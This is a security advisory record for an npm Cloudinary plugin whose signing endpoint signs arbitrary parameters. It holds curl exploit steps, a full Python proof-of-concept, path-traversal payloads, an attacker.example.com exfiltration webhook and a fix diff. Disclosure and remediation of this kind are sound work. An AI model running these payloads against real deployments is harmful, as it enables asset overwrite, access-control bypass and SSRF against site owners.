{"id":"GHSA-h5x8-xp6m-x6q4","title":"@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing","summary":"@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing","severity":"high","cvss":7.1,"cwe":["CWE-347"],"vendor":"jhb.software","product":"@jhb.software/payload-cloudinary-plugin","ecosystem":"npm","affected":["@jhb.software/payload-cloudinary-plugin >= 0.3.0, < 0.4.0"],"patched":["@jhb.software/payload-cloudinary-plugin 0.4.0"],"published":"2026-06-19","updated":"2026-06-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-h5x8-xp6m-x6q4","references":[{"url":"https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"},{"url":"https://github.com/advisories/GHSA-h5x8-xp6m-x6q4"}],"tags":["ghsa","npm"],"ingestedAt":"2026-06-22T13:35:24.210Z","slug":"GHSA-h5x8-xp6m-x6q4","body":"## Overview\n\n## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin\n\n### Summary\n\n`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.\n\n### Details\n\nWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.\n\n**Vulnerable code path (step by step):**\n\n1. `cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler.\n2. `cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design.\n3. `cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`.\n4. `cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user.\n5. `cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`.\n6. `cloudinary/src/getGenerateSignature.ts:55` — **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.\n\n```ts\n// cloudinary/src/getGenerateSignature.ts:46-55\nconst body = await req.json?.()\n\nif (!body?.paramsToSign) {\n  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)\n}\n\n// No allowlist, no key filtering, no folder/public_id/overwrite enforcement\nconst signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n```\n\nThere are **no** mitigations in place:\n- No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)\n- No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`)\n- No timestamp freshness check\n- No restriction on path traversal sequences in `folder` or `public_id`\n\nDynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:\n\n| Case | paramsToSign | Impact |\n|------|-------------|--------|\n| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |\n| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |\n| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |\n| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |\n\nPython-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.\n\n### PoC\n\n**Prerequisites:**\n- `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`\n- An authenticated Payload session (any privilege level)\n- Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)\n\n**Step 1 — Obtain a signature for arbitrary parameters (bash):**\n\n```bash\nTS=$(date +%s)\n\nSIG=$(curl -s \\\n  -H \"Authorization: Bearer <LOW_PRIV_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST \"http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media\" \\\n  --data \"{\\\"paramsToSign\\\":{\\\"timestamp\\\":\\\"$TS\\\",\\\"folder\\\":\\\"attacker\\\",\\\"public_id\\\":\\\"overwrite-target\\\",\\\"overwrite\\\":\\\"true\\\"}}\" \\\n  | jq -r .signature)\n\necho \"Obtained signature: $SIG\"\n```\n\n**Step 2 — Use the minted signature to upload directly to Cloudinary:**\n\n```bash\ncurl -s -X POST \"https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload\" \\\n  -F \"file=@poc.txt\" \\\n  -F \"api_key=$CLOUDINARY_API_KEY\" \\\n  -F \"timestamp=$TS\" \\\n  -F \"folder=attacker\" \\\n  -F \"public_id=overwrite-target\" \\\n  -F \"overwrite=true\" \\\n  -F \"signature=$SIG\"\n```\n\n**Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize.\n\n**Automated PoC (Python):**\n\n```bash\n# Build and run the reproduction container\ndocker build -t vuln-002-cloudinary .\ndocker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary\n\n# Run all five attack scenarios\npython3 poc.py --server http://127.0.0.1:3000\n```\n\nThe script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.\n\n**Sample output (Phase 2 evidence):**\n\n```\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"attacker-controlled\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}\n      => abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"type\":\"private\",\"public_id\":\"admin-document\"}\n      => 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"media\",\"notification_url\":\"http://attacker.example.com/exfil\"}\n      => 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"../../../../admin-assets\",\"public_id\":\"../../../sensitive\",\"invalidate\":\"true\"}\n      => d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)\n\nResults: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign\n```\n\n**Recommended fix:**\n\n```diff\n--- a/cloudinary/src/getGenerateSignature.ts\n+++ b/cloudinary/src/getGenerateSignature.ts\n@@ type Args = {\n   apiSecret: string\n+  folder?: string\n }\n@@ export const getGenerateSignature =\n-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =>\n+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =>\n@@\n-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n+    const paramsToSign = body.paramsToSign as Record<string, unknown>\n+    const allowedKeys = new Set(['timestamp', 'folder', 'public_id'])\n+    if (\n+      !paramsToSign ||\n+      Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) ||\n+      typeof paramsToSign.timestamp !== 'string'\n+    ) {\n+      throw new Forbidden()\n+    }\n+    if (folder && paramsToSign.folder !== folder.replace(/^\\/|\\/$/g, '')) {\n+      throw new Forbidden()\n+    }\n+    if (\n+      typeof paramsToSign.public_id === 'string' &&\n+      (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/'))\n+    ) {\n+      throw new Forbidden()\n+    }\n+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)\n```\n\n### Impact\n\nThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.\n\n**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).\n\n**Concrete attack outcomes:**\n\n- **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.\n- **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.\n- **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.\n- **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.\n\nThe Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-alpine\n\nLABEL description=\"VULN-002 reproduction: arbitrary Cloudinary API parameter signing\" \\\n      vuln=\"getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist\" \\\n      package=\"@jhb.software/payload-cloudinary-plugin@0.3.4\"\n\nWORKDIR /app\n\n# Install exactly the cloudinary version declared in the plugin's package.json\nRUN echo '{\"name\":\"vuln-002-server\",\"version\":\"1.0.0\",\"private\":true}' > package.json && \\\n    npm install cloudinary@2.10.0 --save --no-audit --no-fund\n\nCOPY server.js .\n\nEXPOSE 3000\n\n# Start the minimal reproduction server\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Arbitrary Cloudinary API Parameter Signing\nPackage : @jhb.software/payload-cloudinary-plugin v0.3.4\nFile    : cloudinary/src/getGenerateSignature.ts:55\nCWE     : CWE-347 — Improper Verification of Cryptographic Signature\nCVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n\nVulnerable sink (exact line from source):\n    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n\nbody.paramsToSign is passed directly with no allowlist, no key filtering, and no\nfolder/public_id/overwrite enforcement. Any authenticated user can obtain a valid\nCloudinary HMAC-SHA1 signature for arbitrary upload parameters.\n\nUsage:\n    python3 poc.py [--server http://127.0.0.1:3000]\n\"\"\"\n\nimport argparse\nimport hashlib\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# Must match API_SECRET in server.js\nAPI_SECRET = \"poc-fake-api-secret-12345\"\n\n# Simulates a low-privilege authenticated user session\nAUTH_HEADER = \"Bearer low-privilege-user-token\"\n\nGREEN = \"\\033[32m\"\nRED = \"\\033[31m\"\nYELLOW = \"\\033[33m\"\nRESET = \"\\033[0m\"\n\n\n# ---------------------------------------------------------------------------\n# Cloudinary signature algorithm — Python re-implementation of\n#   cloudinary.utils.api_sign_request(params, api_secret)\n# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )\n# ---------------------------------------------------------------------------\ndef cloudinary_sign(params: dict, api_secret: str) -> str:\n    \"\"\"Return the expected Cloudinary HMAC-SHA1 signature for params.\"\"\"\n    filtered = {k: v for k, v in params.items() if v not in (None, \"\")}\n    sorted_pairs = sorted(filtered.items())\n    param_str = \"&\".join(f\"{k}={v}\" for k, v in sorted_pairs)\n    to_sign = param_str + api_secret\n    return hashlib.sha1(to_sign.encode(\"utf-8\")).hexdigest()\n\n\n# ---------------------------------------------------------------------------\n# HTTP helpers\n# ---------------------------------------------------------------------------\ndef post_sign(server: str, params: dict) -> tuple[int, dict]:\n    \"\"\"\n    POST {\"paramsToSign\": params} to the signing endpoint.\n    Returns (http_status, response_dict).\n    Raises urllib.error.HTTPError for 4xx/5xx.\n    \"\"\"\n    body = json.dumps({\"paramsToSign\": params}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{server}/api/cloudinary-generate-signature?collectionSlug=media\",\n        data=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": AUTH_HEADER,\n        },\n        method=\"POST\",\n    )\n    with urllib.request.urlopen(req, timeout=10) as resp:\n        return resp.status, json.loads(resp.read())\n\n\n# ---------------------------------------------------------------------------\n# Test runner\n# ---------------------------------------------------------------------------\ndef run_case(server: str, label: str, params: dict) -> bool:\n    \"\"\"\n    Execute one signing test case and verify:\n      1. HTTP 200 is returned (endpoint did NOT reject the params).\n      2. The returned signature is mathematically correct.\n    Returns True if both conditions hold (vulnerability confirmed for this case).\n    \"\"\"\n    print(f\"\\n  [{label}]\")\n    print(f\"  paramsToSign : {json.dumps(params)}\")\n\n    try:\n        status, data = post_sign(server, params)\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(errors=\"replace\")\n        print(f\"  HTTP {exc.code} — request rejected: {body}\")\n        print(f\"  {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case\")\n        return False\n    except Exception as exc:\n        print(f\"  Connection error: {exc}\")\n        return False\n\n    sig_returned = data.get(\"signature\", \"\")\n    sig_expected = cloudinary_sign(params, API_SECRET)\n    sig_match = sig_returned == sig_expected\n\n    print(f\"  HTTP status  : {status}\")\n    print(f\"  Signature    : {sig_returned}\")\n    print(f\"  Expected sig : {sig_expected}\")\n    print(f\"  Sig valid    : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}\")\n\n    if status == 200 and sig_match:\n        print(f\"  {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection\")\n        return True\n    else:\n        print(f\"  {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}\")\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-002 PoC\")\n    parser.add_argument(\"--server\", default=\"http://127.0.0.1:3000\", help=\"Target server URL\")\n    args = parser.parse_args()\n    server = args.server.rstrip(\"/\")\n\n    ts = str(int(time.time()))\n\n    print(\"=\" * 70)\n    print(\"VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing\")\n    print(f\"Target  : {server}\")\n    print(f\"Vuln    : getGenerateSignature.ts:55 — no paramsToSign allowlist\")\n    print(f\"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)\")\n    print(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Attack scenarios\n    # ------------------------------------------------------------------\n    # Each case passes paramsToSign that the plugin should REJECT but does NOT.\n    # A correctly patched implementation would return 4xx for cases 2-5.\n    # ------------------------------------------------------------------\n    cases = [\n        (\n            \"CASE-1: Legitimate params (baseline — should always succeed)\",\n            {\"timestamp\": ts, \"folder\": \"media\", \"public_id\": \"user-upload\"},\n        ),\n        (\n            \"CASE-2: Attacker-controlled folder + overwrite=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"attacker-controlled\",\n                \"public_id\": \"overwrite-target\",\n                \"overwrite\": \"true\",\n            },\n        ),\n        (\n            \"CASE-3: type=private — changes upload visibility\",\n            {\n                \"timestamp\": ts,\n                \"type\": \"private\",\n                \"public_id\": \"admin-document\",\n            },\n        ),\n        (\n            \"CASE-4: notification_url — potential SSRF / data exfiltration\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"media\",\n                \"notification_url\": \"http://attacker.example.com/exfil\",\n            },\n        ),\n        (\n            \"CASE-5: folder path traversal + invalidate=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"../../../../admin-assets\",\n                \"public_id\": \"../../../sensitive\",\n                \"invalidate\": \"true\",\n            },\n        ),\n    ]\n\n    results = []\n    for label, params in cases:\n        results.append(run_case(server, label, params))\n\n    passed = sum(results)\n    total = len(results)\n\n    print(\"\\n\" + \"=\" * 70)\n    print(f\"Results : {passed}/{total} cases confirmed\")\n\n    # Cases 1-5 all passing means the vulnerability is proven:\n    # the endpoint signs ANY paramsToSign regardless of content.\n    if all(results):\n        print(f\"\\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}\")\n        print(\n            \"All 5 attack scenarios returned HTTP 200 with a mathematically valid\"\n            \" Cloudinary HMAC-SHA1 signature.\"\n        )\n        print(\n            \"The plugin endpoint signs arbitrary upload parameters without any\"\n            \" allowlist, folder enforcement, or overwrite/type restriction.\"\n        )\n        print(\n            \"Impact: any authenticated Payload user can mint valid Cloudinary\"\n            \" signatures for arbitrary parameters, enabling asset replacement,\"\n            \" privacy changes, and potential SSRF via notification_url.\"\n        )\n        sys.exit(0)\n    elif results[0]:\n        failed = [cases[i][0] for i, r in enumerate(results) if not r]\n        print(f\"\\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}\")\n        print(f\"Failed cases: {failed}\")\n        sys.exit(2)\n    else:\n        print(f\"\\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Affected packages\n\n- `@jhb.software/payload-cloudinary-plugin >= 0.3.0, < 0.4.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@jhb.software/payload-cloudinary-plugin 0.4.0`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}